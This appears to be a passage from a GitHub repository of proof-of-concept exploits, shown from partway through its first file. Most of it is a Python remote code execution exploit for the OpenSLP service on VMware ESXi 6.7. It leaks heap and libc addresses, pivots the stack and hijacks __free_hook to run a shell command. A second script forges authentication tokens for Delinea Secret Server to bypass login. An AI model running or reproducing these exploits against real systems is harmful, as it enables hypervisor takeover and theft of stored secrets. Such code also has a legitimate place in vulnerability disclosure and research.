338 |    requests[9].put(overflow_and_extend(0x140, 0x1))
339 |    fd = 0xc
340 |    requests[8].put(update_target_slpdsocket(fd, 0x140, STREAM_READ_FIRST))
341 |    requests[7].put(service_registration(b'service:pwn', MARKER + b'B' * (0x3200 - 21 - 4)))
342 |    requests[8].put(update_target_slpdsocket(LISTEN_FD, 0x140, LISTEN))
343 |    requests[10].put(connect())
344 |    requests[10].put(block(0x70))
345 | 
346 |    requests[11].put(connect())
347 |    requests[12].put(connect())
348 |    requests[13].put(connect())
349 |    requests[11].put(block(0x810))
350 |    requests[14].put(connect())
351 |    requests[14].put(block(0x160))
352 |    requests[12].put(block(0x810))
353 |    requests[14].put(close())
354 |    requests[15].put(connect())
355 |    requests[15].put(attribute_request(b'service:pwn', 0x20))
356 | 
357 |    requests[13].put(block(0x110))
358 |    requests[16].put(connect())
359 |    requests[17].put(connect())
360 | 
361 |    requests[12].put(close())
362 |    requests[18].put(connect())
363 |    requests[18].put(overflow_and_extend(0x120, 0x3))
364 |    requests[17].put(partial_update_target_send_buffer(0x120, 0x3220, 0x1, b'\x00\x00'))
365 |    requests[19].put(connect())
366 |    requests[19].put(block(0x178))
367 | 
368 |    requests[11].put(close())
369 |    requests[20].put(connect())
370 |    requests[20].put(overflow_and_extend(0x140, 0x1))
371 |    fd = 0x11
372 |    requests[16].put(update_target_slpdsocket(fd, 0x140, STREAM_WRITE))
373 |    requests[16].put(update_target_slpdsocket(LISTEN_FD, 0x140, LISTEN))
374 |    requests[21].put(connect())
375 |    requests[21].put(block(0x178))
376 |    requests[15].put(leak_data())
377 | 
378 |    time.sleep(T + 1.0)
379 | 
380 |    heap_address = 0
381 |    libc_base_address = 0
382 | 
383 |    if leaked_values == None:
384 |       print("[-] Exploit Failed [-]")
385 |       return -1
386 | 
387 |    leaked_values = leaked_values[::-1]
388 | 
389 |    if LOG_LEAK:  
390 |       for i in leaked_values:
391 |          print(hex(i))
392 |  
393 |    if leaked_values[0] == 0xdeadbeef:
394 |       heap_address = leaked_values[6] - 0x3220 + 0x4
395 |      
396 |    elif leaked_values[0] == 0xefeb3174:
397 |       heap_offset = 0x2b1 if leaked_values[42] == 0x42424242 else 0x5d61
398 |       heap_address = leaked_values[14] + heap_offset
399 |    
400 |    libc_leak_location = heap_address - 0x100 + 4
401 |       
402 |    requests[22].put(connect())
403 |    requests[22].put(block(0x810))
404 |    requests[23].put(connect())
405 |    requests[23].put(block(0x100))
406 |    requests[24].put(connect())
407 |    requests[24].put(block(0x810))
408 |    requests[23].put(close())
409 |    requests[25].put(connect())
410 |    requests[25].put(block(0x698))
411 | 
412 |    requests[27].put(connect())
413 |    requests[28].put(connect())
414 | 
415 |    requests[24].put(close())
416 |    requests[26].put(connect())
417 |    requests[26].put(overflow_and_extend(0x130, 0x1))
418 |    requests[27].put(update_target_send_buffer(0x130, 0x598, 0x1, libc_leak_location, 0x4))
419 |    requests[29].put(connect())
420 |    requests[29].put(block(0x178))
421 |    
422 |    requests[22].put(close())
423 |    requests[30].put(connect())
424 |    requests[30].put(overflow_and_extend(0x140, 0x1)) 
425 |    fd = 0x15
426 |    requests[28].put(update_target_slpdsocket(fd, 0x140, STREAM_WRITE))
427 |    requests[28].put(update_target_slpdsocket(LISTEN_FD, 0x140, LISTEN))
428 |    requests[31].put(connect())
429 |    requests[31].put(block(0x178))
430 |    requests[25].put(leak_data(0x4))
431 |  
432 |    time.sleep(T + 1.0)
433 |    libc_base_address = struct.unpack('<I', leaked_data)[0] - 0x193568
434 | 
435 |    libc_ret_offset = 0x0008009c
436 |    libc_system_offset = 0x0003e390
437 |    libc_environ_offset = 0x00194e20
438 |    libc___free_hook_offset = 0x001948d8
439 |    libc_ret_address = libc_base_address + libc_ret_offset
440 |    libc_system_address = libc_base_address + libc_system_offset
441 |    libc_environ_address = libc_base_address + libc_environ_offset
442 |    libc___free_hook_address = libc_base_address + libc___free_hook_offset
443 |    shell_cmd_address = heap_address + 0x34
444 | 
445 |    gadget_offset = 0x0007fe01 # add esp, 0x100 ; ret
446 |    gadget_address = libc_base_address + gadget_offset
447 | 
448 |    requests[27].put(update_target_send_buffer(0x130, 0x598, 0x1, libc_environ_address, 0x4))
449 |    requests[28].put(update_target_slpdsocket(fd, 0x140, STREAM_WRITE))
450 |    requests[25].put(leak_data(0x4))
451 |  
452 |    time.sleep(T + 1.0)
453 |    stack_environ_address =  struct.unpack('<I', leaked_data)[0]
454 |    esp_offset = 0xe30 if sys.argv[2] == '1' else 0xe7c
455 |    esp_value = stack_environ_address - esp_offset
456 |    pivoted_esp_value = esp_value + 0x100
457 | 
458 |    print()
459 |    print('[+] libc base address: ', hex(libc_base_address))
460 |    print("[+] libc system address: ", hex(libc_system_address))
461 |    print("[+] libc environ address: ", hex(libc_environ_address))
462 |    print("[+] libc __free_hook address: ", hex(libc___free_hook_address))
463 |    print("[+] ret address: ", hex(libc_ret_address))
464 |    print("[+] gadget address: ", hex(gadget_address))
465 |    print('[+] heap address: ', hex(heap_address))
466 |    print("[+] shell command address: ", hex(shell_cmd_address))
467 |    print("[+] stack enviorn address: ", hex(stack_environ_address))
468 |    print("[+] esp value: ", hex(esp_value))
469 |    print("[+] pivoted esp value: ", hex(pivoted_esp_value))
470 |    print()
471 | 
472 |    requests[28].put(update_target_slpdsocket(LISTEN_FD, 0x140, LISTEN))
473 |    
474 |    requests[32].put(connect())
475 |    requests[32].put(block(0x810))
476 |    requests[33].put(connect())
477 |    requests[34].put(connect())
478 |    requests[34].put(block(0x810))
479 |    requests[33].put(block(0x100))
480 |   
481 |    requests[35].put(connect())
482 |    requests[36].put(connect())
483 | 
484 |    requests[34].put(close())
485 |    requests[37].put(connect())
486 |    requests[37].put(overflow_and_extend(0x120, 0x3))
487 |    requests[36].put(update_target_recv_buffer(0x4, shell_cmd_address))
488 |    requests[38].put(connect())
489 |    requests[38].put(block(0x178))
490 |    
491 |    requests[32].put(close())
492 |    requests[39].put(connect())
493 |    requests[39].put(overflow_and_extend(0x140, 0x1))
494 |    requests[35].put(update_target_slpdsocket(LISTEN_FD, 0x140, LISTEN))
495 |    requests[40].put(connect())
496 |    requests[40].put(block(0x178))   
497 | 
498 |    fd = 0x1a
499 |    payload = shell_cmd + b'\x00'
500 |    requests[36].put(update_target_recv_buffer(len(payload), shell_cmd_address))
501 |    requests[35].put(update_target_slpdsocket(fd, 0x140, STREAM_READ))
502 |    requests[33].put(service_request(payload))
503 |    
504 |    payload = struct.pack('<I', libc_ret_address) * 10 + struct.pack('<I', libc_system_address) + b'\x41' * 4 + struct.pack('<I', shell_cmd_address)
505 |    requests[36].put(update_target_recv_buffer(len(payload), pivoted_esp_value - 0x10)) 
506 |    requests[35].put(update_target_slpdsocket(fd, 0x140, STREAM_READ))
507 |    requests[33].put(service_request(payload))
508 |    
509 |    #breakpoint()
510 |    
511 |    payload = b'\x41\x41\x41\x41' if DEBUG == True else struct.pack('<I', gadget_address)
512 |    requests[36].put(update_target_recv_buffer(len(payload), libc___free_hook_address))
513 |    requests[35].put(update_target_slpdsocket(fd, 0x140, STREAM_READ))
514 |    requests[33].put(service_request(payload))
515 | 
516 |    time.sleep(T + 1.0) 
517 |    print('[*] exploit deployed')
518 |    return 0
519 | 
520 | def intro():
521 |    print("   _____   _____   ___ __ ___ _    ___ _ ___ ____ _ _       ")
522 |    print("  / __\ \ / / __|_|_  )  \_  ) |__|_  ) / _ \__  | | |      ")
523 |    print(" | (__ \ V /| _|___/ / () / /| |___/ /| \_, / / /|_  _|     ")
524 |    print("  \___| \_/ |___| /___\__/___|_|  /___|_|/_/ /_/   |_|      ")
525 |    print()
526 |    print("                       PoC Exploit                          ")
527 |    print()
528 |    print("      vuln discovered by: Lucas Leong (@_wmliang_)          ")
529 |    print("           poc by: Johnny Yu (@straight_blast)              ")
530 |    print("                                                            ")
531 |    print()
532 |    print("           currently support the following:                 ")
533 |    print("         [1] VMware ESXi 6.7.0 build-14320388               ")
534 |    print("         [2] VMware ESXi 6.7.0 build-16316930               ")
535 |    print()
536 | 
537 | if __name__ == '__main__':
538 |    intro()   
539 |    exploit()
540 | 


--------------------------------------------------------------------------------
/CVE-2024-33891.py:
--------------------------------------------------------------------------------
 1 | # Reference: https://straightblast.medium.com/all-your-secrets-are-belong-to-us-a-delinea-secret-server-authn-authz-bypass-adc26c800ad3
 2 | import clr
 3 | clr.AddReference("Thycotic.Identity")
 4 | clr.AddReference("Microsoft.Owin.Security")
 5 | import sys
 6 | from System import *
 7 | from System.Security.Claims import *
 8 | from Microsoft.Owin.Security import *
 9 | from Thycotic.Identity.Providers import *
10 | from Thycotic.Identity.Formatters import *
11 | from Thycotic.Identity.Protectors import *
12 | 
13 | def buildToken(id):
14 |    claimsIdentity = ClaimsIdentity("ExternalBearer", "http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name", "http://schemas.microsoft.com/ws/2008/06/identity/claims/role")
15 |    claimsIdentity.AddClaim(Claim("http://schemas.xmlsoap.org/ws/2005/05/identity/claims/nameidentifier", str(id), "http://www.w3.org/2001/XMLSchema#integer", "Thycotic.Identity", "Thycotic.Identity"))
16 |    properties = AuthenticationProperties()
17 |    properties.IssuedUtc = DateTimeOffset.UtcNow.Add(TimeSpan(0,0,0,0))
18 |    properties.IsPersistent = False
19 |    authenticationTicket = AuthenticationTicket(claimsIdentity, properties)
20 |    keyProvider = KeyProvider()
21 |    dataProtector = ThycoticDataProtector(keyProvider)
22 |    secureTokenFormatter = SecureTokenFormatter(dataProtector)
23 |    token = secureTokenFormatter.Protect(authenticationTicket)
24 |    return token
25 | 
26 | buildToken(2)
27 | 


--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # My-PoC-Exploits
2 | PoC exploits I wrote. They're as is and I will not offer support
3 | 


--------------------------------------------------------------------------------